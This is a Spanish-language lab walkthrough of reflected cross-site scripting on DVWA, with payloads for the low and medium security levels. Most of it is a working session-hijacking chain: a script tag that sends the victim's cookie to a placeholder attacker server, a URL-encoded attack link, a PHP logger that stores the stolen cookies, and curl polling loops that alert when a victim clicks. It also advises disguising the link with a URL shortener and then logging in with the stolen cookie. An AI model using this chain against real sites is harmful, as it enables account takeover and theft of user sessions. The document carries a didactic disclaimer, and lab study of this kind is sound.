XSS reflected

level low

Probamos varias etiquetas:

<script>alert("sierra");</script>
<svg onload=alert("sierra");>
<img src="x" onerror=prompt("sierra");>

verificando que todas funcionan, es vulnerable.
IMPORTANTE: Esta información es con fines didacticos, un uso fuera de una plataforma de pruebas es un delito, no me hago responsable del mal uso.
Si queremos explotar la vulnerabilidad, crearemos un enlace a esa direccción, con un códgio por ejemplo así:
<script>new Image().src="http://nuestroservidor/xss.php?cookie="+escape(document.cookie);</script>

la cual quedaría de la siguiente forma en dvwa 1.0.7 level low:
http://vulnerable/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fnuestroservidor%2Fxss.php%3Fcookie%3D%22%2Bescape%28document.cookie%29%3B%3C%2Fscript%3E#

donde nuestroservidor es algún servidor a nuestra disposición para meter el siguiente xss.php:


<?php
	$session = $_GET["cookie"];
	$user_agent = $_SERVER['HTTP_USER_AGENT'];
	$file = fopen('log.txt','a');
	fwrite($file, "USER AGENT: $user_agent || COOKIE: $session \n");
	fclose($file);
?>

El enlace creado se manda a una victima que tenga cuenta en el servidor vulnerable, extrayendo su cookie. El enlace se puede disfrazar con algún acortador de url's en la red.
Ahora solo queda estar pendiente de cuando pulsa sobre el enlace dado, para ello podemos poner una terminal de la siguiente manera:

┌─([14:33]sierra21@sierra21)-(~)
└──┤▶
watch -n 10 "curl nuestroservidor/log.txt"

Aunque prefiero esta otra forma que consume menos recursos y además, si se utliza el comando grep nos dara la información en color

┌─([14:35]sierra21@sierra21)-(~)
└──┤▶
while [ 1 ]; do curl nuestroservidor/log.txt |grep -o -P 'COOKIE.{0,70}'; sleep 10; clear; done

Hay que estar pendiente de la terminal para ver cuando nos entrega la información :), pero si queremos un avisador acustico, podiamos hacer este script en bash:


#!/bin/bash
while [ 1 ];
do 
	hola=`curl -s nuestroservidor/log.txt |grep -o -P 'COOKIE'`;
	if [ -n "$hola" ] ; then
		echo "Ya tenemos una victima, a por el" | festival --tts
		curl -s 'nuestroservidor/log.txt'
	else
		echo "Aún no ha nada que hacer :-)"
		
	fi
	sleep 10;
	clear;
done

Solo nos queda entrar en el servidor vulnerable con la identificación (cookie) de la victima.

IMPORTANTE: Esta información es con fines didacticos, un uso fuera de una plataforma de pruebas es un delito, no me hago responsable del mal uso.

level medium

Para este nivel han filtrado la palabra scrip, con lo cual nos vale el siguiente codigo:
<svg onload=alert("sierra");>
<img src="x" onerror=prompt("sierra");>

o cualquier otro que se nos ocurra :)

level high

Se ha utilizado la función htmlspecialchars, con lo cual pienso es imposible vulnerarla.